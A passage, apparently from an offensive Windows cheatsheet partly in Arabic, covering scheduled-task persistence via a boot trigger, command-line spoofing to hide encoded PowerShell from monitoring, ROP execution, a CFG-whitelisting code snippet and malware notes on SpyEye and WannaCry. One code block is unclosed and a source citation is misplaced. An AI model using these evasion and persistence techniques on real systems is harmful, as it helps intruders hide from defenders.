hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
pTriggerCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface( 
    IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
   printf("\nCannot put the trigger ID: %x", hr);

//  Set the task to start at a certain time. The time 
//  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
//  For example, the start boundary below
//  is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
   printf("\nCannot put the start boundary: %x", hr);

hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
   printf("\nCannot put the end boundary: %x", hr);

// Delay the task to start 30 seconds after system start. 
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
    printf("\nCannot put delay for boot trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
} 
   

//  ------------------------------------------------------
//  Add an Action to the task. This task will execute Notepad.exe.     
IActionCollection *pActionCollection = NULL;

//  Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
    printf("\nCannot get Task collection pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
    
//  Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the action: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IExecAction *pExecAction = NULL;
//  QI for the executable task pointer.
hr = pAction->QueryInterface( 
    IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IExecAction: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
pExecAction->Release(); 
if( FAILED(hr) )
{
    printf("\nCannot set path of executable: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
  

//  ------------------------------------------------------
//  Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t( wszTaskName ),
        pTask,
        TASK_CREATE_OR_UPDATE, 
        _variant_t(L"Local Service"), 
        varPassword, 
        TASK_LOGON_SERVICE_ACCOUNT,
        _variant_t(L""),
        &pRegisteredTask);
if( FAILED(hr) )
{
    printf("\nError saving the Task : %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

printf("\n Success! Task successfully registered. " );

//  Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;

## انتحال سطر الأوامر

يعمل بشكل مثالي حتى مع مراقبة sysmon/process hacker؛ فهو يتيح إمكانية إخفاء وسائط أوامرك، وهو ما قد يكون مفيدًا في عمليات اختبار الاختراق/الفريق الأحمر (```powershell -enc .....```)

لتحقيق هذا الهدف، يمكنك إنشاء عملية جديدة بوسائط أوامر "شرعية" في الوضع المعلّق، ثم تعديل هذه الوسائط مباشرة في PEB.

إثبات المفهوم: https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
 
# مواضيع متفرقة

## اصطلاح استدعاء x64

- تُمرَّر أول 4 وسائط صحيحة في المسجلات `RCX` و`RDX` و`R8` و`R9`.
- تُدفع الوسائط الإضافية على المكدس.
- يلي عنوان العودة منطقة بحجم 32 بايت محجوزة للمسجلات `RCX` و`RDX` و`R8` و`R9`.
- تُخزَّن المتغيرات المحلية والمسجلات غير المتطايرة فوق عنوان العودة.
- لا يُستخدم `RBP` للإشارة إلى المتغيرات المحلية/وسائط الدوال، ويظل `RSP` ثابتًا طوال الدالة.

> ملاحظات:
> - إذا كانت الدالة تحتوي على عدد متغير من الوسائط، فيجب عليها استخدام المكدس لتمريرها
> - إذا كانت القيمة المُرجَعة عبارة عن بنية، فإن الطرف المُستدعي مسؤول عن تخصيص مساحة للقيمة المُرجَعة وتمرير مؤشر إلى تلك المساحة كوسيطة أولى
> - الطرف المُستدعى مسؤول عن الحفاظ على قيم المسجلات `RBX` و`RBP` و`R12`–`R15`، ولكنه قد يعدّل بحرية المسجلات الأخرى
> - المكدس مُحاذى على حد 16 بايت في موقع الاستدعاء
> - الطرف المُستدعى مسؤول عن إعادة مؤشر المكدس (`RSP`) إلى قيمته الأصلية قبل العودة

## التنفيذ غير المباشر

يشير التنفيذ غير المباشر هنا إلى استخدام ROP لتنفيذ بعض المهام، وستحتاج إلى إضافة الوسائط إلى المسجل الصحيح، ويجب أن تفهم [اصطلاح استدعاء x64](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) من أجل ذلك.

- ROP الذي يستخدم بنية `CONTEXT` سيحتاج إلى `RtlCaptureContext` لاسترجاع السياق الحالي و`NtContinue` لمواصلة تنفيذ الـ ROP مع تمرير بنية `CONTEXT` كوسيطة مملوءة بوسائط الدوال الصحيحة إلى المسجلات الصحيحة. يمكنك أيضًا بناء الـ ROP الخاص بك بلغة التجميع إذا أردت.

### تجاوز CFG باستخدام SetProcessValidCallTargets

هذا ليس تجاوزًا حقيقيًا، لكنه سيضيف الدالة التي تستخدمها في ROP إلى القائمة البيضاء (أي `NtContinue`).```c
CFG_CALL_TARGET_INFO Cfg = { 0 };

Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags  = CFG_CALL_TARGET_VALID;

SetProcessValidCallTargets( ( HANDLE )-1,  Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );

المصدر : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf


## تقنية خطاف SpyEye لتسجيل ضغطات المفاتيح

يستدعي برنامج SpyEye الخبيث دالة ```TranslateMessage()``` عبر خطاف (hook) لحفظ ضغطات المفاتيح: يستخدم إجراء الخطاف دالة ```GetKeyboardState``` لإضافة الحرف المكتوب إلى مخزن مؤقت بحجم 20000 بايت.

المصدر : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf

## مفتاح إيقاف Wannacry

استخدم برنامج الفدية Wannacry عنوان URL لمفتاح إيقاف (killswitch) يتم حله قبل تنفيذ الحمولة الرئيسية. وبعد تسجيل هذا النطاق، تم تعطيل جميع عينات wannacry. تم توثيق هذه التقنية هنا : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
حقيقة طريفة: كان هذا النطاق نصًا صريحًا دون أي تشفير. مضحك جدًا :)